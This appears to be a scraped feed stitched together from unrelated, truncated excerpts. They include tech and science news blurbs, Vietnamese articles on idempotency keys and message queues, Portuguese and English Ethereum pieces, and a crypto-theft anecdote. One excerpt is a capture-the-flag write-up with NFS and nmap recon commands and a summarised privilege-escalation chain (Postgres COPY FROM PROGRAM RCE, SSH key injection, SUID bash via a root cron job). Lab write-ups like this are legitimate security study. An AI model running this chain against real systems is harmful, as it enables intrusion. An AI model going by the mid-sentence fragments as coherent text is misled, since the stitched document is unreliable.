The 4 Best Home Air Conditioners to Buy Right Now
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It's too hot. There, we said it. Protect your health and keep your home cool with one of these top-rated air conditioners.
As extreme heat becomes the norm on the continent, the AC culture wars may be solved by advances in environmentally friendly technology.
Like its U.S. counterpart, the European Chips Act aims to foster the semiconductor industry — in part thanks to state subsidies. One of the beneficiaries is QuantumDiamonds, a German startup that applies a novel approach to inspecting chips.
Safe retry: idempotency key để retry một request không biến thành hai lần charge Trong hệ phân tán, retry là mặc định — client, gateway, load balancer, queue consumer đều retry khi timeout hoặc lỗi tạm thời. Vấn đề là nhiều thao tác quan trọng không idempotent tự nhiên: một request POST /charges gửi hai lần thì trừ tiền khách hai lần, một message OrderCreated xử lý hai lần thì ship hai đơn. Idempotency key là cơ chế để server nhận diện "cùng một intent" giữa các lần retry và chỉ thực hiện side effect một lần , trong khi vẫn trả về response giống hệt cho mọi lần gọi lặp — về mặt hiệu ứng thấy được từ bên ngoài, đây là cái người ta hay gọi là "exactly-once effect" (dù ở tầng transport vẫn là at-least-once). Cơ chế hoạt động Client sinh một identifier duy nhất cho mỗi thao tác (thường là UUIDv4) và đính kèm request — quy ước phổ biến là HTTP header Idempotency-Key (Stripe API dùng đúng tên này, và IETF có draft draft-ietf-httpapi-idempotency-key-header chuẩn hoá cùng tên header). Server dùng key làm identity của thao tác trong một cửa sổ TTL: Nhận request với key K . Tra K trong idempotency store. Nếu tồn tại và request cũ ở trạng thái terminal (đã có response), trả lại response đã lưu — không chạy lại business logic. Nếu tồn tại nhưng đang in-flight , trả 409 Conflict (hoặc chờ, tuỳ contract). Nếu chưa tồn tại, INSERT bản ghi với unique constraint trên key, chạy business logic, persist response, commit. Điểm cốt lõi là bước insert + bước business logic + bước lưu response phải nằm trong cùng một transaction boundary — hoặc chí ít, phải có cơ chế đảm bảo không có window mà một retry khác nhìn thấy "chưa có key" trong lúc lần đầu vẫn đang chạy dở. CREATE TABLE idempotency_keys ( key TEXT NOT NULL , user_id BIGINT NOT NULL , request_hash TEXT NOT NULL , -- fingerprint payload status TEXT NOT NULL , -- in_flight | succeeded | failed response_code INT , response_body JSONB , created_at TIMESTAMPTZ NOT NULL DEFAULT now (), locked_until TIMESTAMPTZ , PRIMARY KEY ( user_id ,
Async processing qua message queue: vì sao đẩy việc nặng ra khỏi request path, và cái giá phải trả bằng eventual consistency Async processing là mô hình tách một request thành hai giai đoạn: request handler nhận việc, xác nhận với client, rồi giao phần xử lý thật cho một worker chạy ngoài request path — thường qua một message queue (RabbitMQ, AWS SQS, Kafka, Redis Streams, hoặc queue trên nền Redis như BullMQ/Sidekiq). Lý do dev gặp nó trong việc thật rất cụ thể: một endpoint gọi payment provider mất 3s, gửi email confirm mất 1s, resize ảnh mất 5s — nếu làm tuần tự trong request, p99 latency của endpoint là tổng các con số đó, và một downstream chậm hoặc chết đủ để làm timeout hết thread pool của app server. Đẩy vào queue thì request trả về trong vài chục ms; nhưng đổi lại, cái "xong" mà client thấy không còn nghĩa là việc đã thực sự hoàn thành. Cơ chế hoạt động Ba thành phần: producer (thường là API server) đóng gói việc thành message rồi publish vào broker; broker (RabbitMQ/SQS/Kafka…) giữ message trong queue có persistence tuỳ cấu hình; consumer/worker poll hoặc được push message, xử lý, rồi ack để broker biết xoá. Nếu worker chết trước khi ack, broker redeliver — đây là gốc của semantic at-least-once : mỗi message được giao ít nhất một lần, có thể nhiều lần. Exactly-once trong hệ phân tán chỉ đạt được ở lớp application bằng cách consumer viết idempotent, không phải bằng cấu hình broker. Ví dụ với RabbitMQ + Node ( amqplib ): // producer — trong HTTP handler const ch = await conn . createConfirmChannel () await ch . assertQueue ( ' image.resize ' , { durable : true }) app . post ( ' /upload ' , async ( req , res ) => { const jobId = crypto . randomUUID () const payload = Buffer . from ( JSON . stringify ({ jobId , s3Key : req . body . key })) await ch . sendToQueue ( ' image.resize ' , payload , { persistent : true , // ghi xuống disk, sống sót broker restart messageId : jobId , // để consumer dedupe contentType : ' application/json ' , }) // đợi broker confirm đ
FCA official makes case for greater powers for watchdog as millions use technology for personal finance decisions.
A large-scale clinical trial has shown that even long-term consumption of DHA—an omega-3 fatty acid found in abundance in oily fish—may not lead to improvements in cognitive function.
The EU went after Google for the practice of bundling its search engine and browser with Android.
Welcome to our weekly digest, where we unpack the latest in account and chain abstraction and the broader infrastructure shaping Ethereum. This week: Ethlabs launches as an independent EF-origin R&D lab backed by Bitmine, Sharplink, and Joe Lubin; the Ethereum Foundation reorganizes into five focused clusters and parts ways with a fifth of its staff; Starknet brings confidential USDC payments to DeFi through its STRK20 framework; and a new industry report charts how crypto-native neobanks went mainstream and why account abstraction matters more because of it. Ethlabs Launches as an Independent R&D Lab The Ethereum Foundation Restructures Into Five Clusters Starknet Brings Private USDC to DeFi Crypto Neobanks Cross From Experiment to Infrastructure Please fasten your belts! Ethlabs Launches as an Independent R&D Lab A coordinated group of Ethereum contributors has launched Ethlabs , an independent nonprofit research and development lab built to ready the network for its next wave of institutional and agentic adoption. The funding effort is led by Bitmine, Sharplink, and Ethereum co-founder Joe Lubin, with support from Anchorage, Octant, and SNZ. Ethlabs is cofounded by five former senior Ethereum Foundation researchers — Ansgar Dietrichs, Barnabé Monnot, Caspar Schwarz-Schilling, Josh Rudolf, and Julian Ma — who between them shaped finality, scaling, data availability, and protocol economics over the past decade. Dietrichs serves as Executive Director. The lab’s early work centers on what institutions need to move onchain at scale: faster settlement, native issuance, cross-chain movement, and more mainnet capacity, alongside research into ETH’s monetary properties. The team frames the moment as Ethereum’s shift from infrastructure buildout to an age of adoption, where the architecture that settles global activity is being decided now rather than in ten years. To preserve neutrality, funding flows through an independent grants administrator that handles screening and
An optimal ratio of 10-15 grams of larvae per gram of specimen minimized cleaning time with no bone damage.
The EU wants Google to share search data with competitors and open up AI on Android, but Google alleges major privacy risks.
But the system would require a massive leap from any of its existing hardware.
CSS has always had pseudo-classes that style things when baed on user interactions. Recent features, however, are blurring the line between what CSS "listens" for and how they are alternatives to what Javascript typically listens for. The Shifting Line Between CSS States and JavaScript Events originally handwritten and published with love on CSS-Tricks . You should really get the newsletter as well.
Quando comecei a trabalhar com aplicações descentralizadas há mais de uma década, lembro bem da frustração de pagar US$ 50 em taxas de transação para mover alguns tokens na rede Ethereum durante um pico de congestionamento. Era um problema técnico que ameaçava inviabilizar todo o ecossistema. Hoje, observo com entusiasmo profissional como as soluções de Layer 2 transformaram radicalmente esse cenário, abrindo portas para casos de uso que antes eram economicamente impraticáveis — especialmente aqui no Brasil, onde a tokenização de ativos e os pagamentos em stablecoins crescem em ritmo acelerado. O problema fundamental: o trilema da escalabilidade Para entender por que as soluções de segunda camada são tão importantes, precisamos compreender o trilema da blockchain proposto por Vitalik Buterin. Uma rede precisa equilibrar três pilares: descentralização, segurança e escalabilidade. O Ethereum, em sua arquitetura original, priorizou os dois primeiros, processando apenas cerca de 15 a 30 transações por segundo (TPS) na camada base. Para se ter dimensão, redes de pagamento tradicionais como a Visa processam milhares de transações por segundo. Quando o DeFi explodiu em 2020 e 2021, e novamente com o boom dos NFTs, a rede simplesmente não dava conta da demanda. As taxas de gas dispararam, e usuários comuns foram literalmente expulsos pelo custo. Em meus projetos de consultoria, atendi empresas brasileiras que desistiram de iniciativas Web3 justamente porque os custos operacionais inviabilizavam o modelo de negócio. A pergunta que sempre me faziam era: "Como cobrar R$ 5 de um cliente se a taxa da transação custa R$ 30?". A resposta estava — e está — nas camadas de segunda geração. Como funcionam as soluções de Layer 2 O conceito central das soluções de Layer 2 é elegante: em vez de processar todas as transações diretamente na blockchain principal (Layer 1), executamos a maior parte do processamento "fora da cadeia" e depois enviamos apenas uma prova compacta de volta para o
Summary NFS shares exposed the target's home directory and PostgreSQL backups. The user's psql history contained an MD5 hash that cracked to service . SSH with that account drops you immediately (shell is /bin/false ), but port forwarding still works - so we tunneled straight to the Postgres Unix socket and connected as the superuser. From there, COPY FROM PROGRAM gave us RCE as postgres. We injected our SSH key and got a shell. For root, a cron job running as root copies the entire Postgres data directory - which postgres owns. We dropped a SUID bash there, waited for the cron to fire, and root handed us a root shell. Chain: NFS leak → MD5 crack → SSH tunnel → Postgres RCE → SSH key injection → postgres shell → SUID bash via cron → root Recon nmap -A -Pn 10.129.234.160 -oA nmap PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 111/tcp open rpcbind 2-4 (RPC #100000) 2049/tcp open nfs_acl 3 (RPC #100227) NFS on 2049 is immediately interesting. We check what's exported: showmount -e 10.129.234.160 Export list for 10.129.234.160: /var/backups * /home * Both shares open to everyone ( * ). We mount them and enumerate: mkdir -p /mnt/home /mnt/backups mount -t nfs 10.129.234.160:/home /mnt/home mount -t nfs 10.129.234.160:/var/backups /mnt/backups find /mnt/backups -maxdepth 3 -ls # → several archive-*.zip files (~4.5MB each, created every minute) find /mnt/home -maxdepth 3 -ls # → /mnt/home/service (UID 1337, permission denied) We can't read the service home directory yet because our local UID doesn't match. We use NetExec to enumerate properly - it also detects a root escape vulnerability on the NFS server: nxc nfs 10.129.234.160 --enum-shares NFS 10.129.234.160 [*] Supported NFS versions: (3, 4) (root escape:True) NFS 10.129.234.160 [+] /var/backups NFS 10.129.234.160 0 r-- 4.5MB /var/backups/archive-2026-06-28T0446.zip NFS 10.129.234.160 [+] /home NFS 10.129.234.160 1337 r-- 90B /home/service/.bash_history NFS 10.129.234.160 1337 r-- 326B /hom
It's a stretch to think that the continent can build a top-tier model, but it has an advantage: Donald Trump.
What began as a “flamingo revolution” to protest the $1.4 billion development on Sazan Island has spiraled into mass protests against a ruling party that thousands now want out.
Europeans are baking under their second heat wave of the summer.
Sometime in 2024 I had a Coinbase wallet on my laptop. I had created the wallet some months back, backed up and all, and just sent very little amount of $ETH to the wallet. Then in 2024 I was paid $100 for a gig which I sent to this wallet, I also sent another $650 worth of cryto as "savings". The next morning I decided to check my "savings", wallet was empty. At first I didn't believe that I was hacked, because I had some $1.50 or so worth of $ETH in the wallet for months and it was safe, so what happened? I traced the transaction history and there was the full detail of how someone sent some $ETH to the wallet, then moved out my "savings" and afterwards also took back the remaining $ETH from the one they had sent in for the attack. I checked on Twitter and saw many other posts of people who had experienced the same exploit, exactly the same pattern... and some of the people who lost their funds were experienced blockchain developers and crypto guys. I made a post about it, told my friends to avoid the wallet and tried to forget about the experience. Blockchain hit instant PMF for many, especially people in parts of the world where there are crazy high fees and bank charges. The moment people tried sending crypto and for a few cents in gas fees, there was no going back for them. The only issue has always been how to secure users' funds, desperate people will always find a way no matter how complex the UX was. After losing my savings I stopped using self custodial wallets and only used Centralized Exchanges for a while. I thought, even though that was a non-custodial wallet, the builders still should have ensured strong security and secure backups, so users don't lose funds unnecessarily. This happened to me when AI and LLMs were still at their early development stages. You can only imagine how sophiscated the attacks have gotten, now that AI and LLMs are very advanced and more capable. To put things in perspective, more than $640 million was lost to deFi hacks and
Coherence Neuro has started testing a brain-computer interface that could one day use electrical stimulation to prevent tumors from growing.